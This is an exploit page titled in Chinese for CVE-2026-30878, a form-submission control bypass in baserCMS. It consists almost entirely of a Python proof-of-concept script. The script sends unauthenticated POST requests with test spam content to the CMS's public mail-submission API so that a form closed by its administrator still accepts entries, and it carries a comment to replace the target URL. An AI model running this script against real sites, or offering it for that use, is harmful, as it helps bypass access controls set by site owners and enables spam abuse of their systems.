CVE-2026-30878 baserCMS API提交控制绕过漏洞

import requests def exploit_basercms(target_url): """ PoC for CVE-2026-30878: Bypass form submission controls in baserCMS. This script attempts to submit a mail form even if it is closed. """ # The endpoint for the public mail submission API api_endpoint = f"{target_url}/api/mail/submissions" # Payload simulating a form entry payload = { "mail_content": "Test spam content via CVE-2026-30878", "email": "[email protected]", "name": "Exploit Test" } try: # Send POST request without authentication response = requests.post(api_endpoint, data=payload) if response.status_code == 200: print("[+] Exploit successful! Form submitted bypassing admin controls.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target exploit_basercms(target)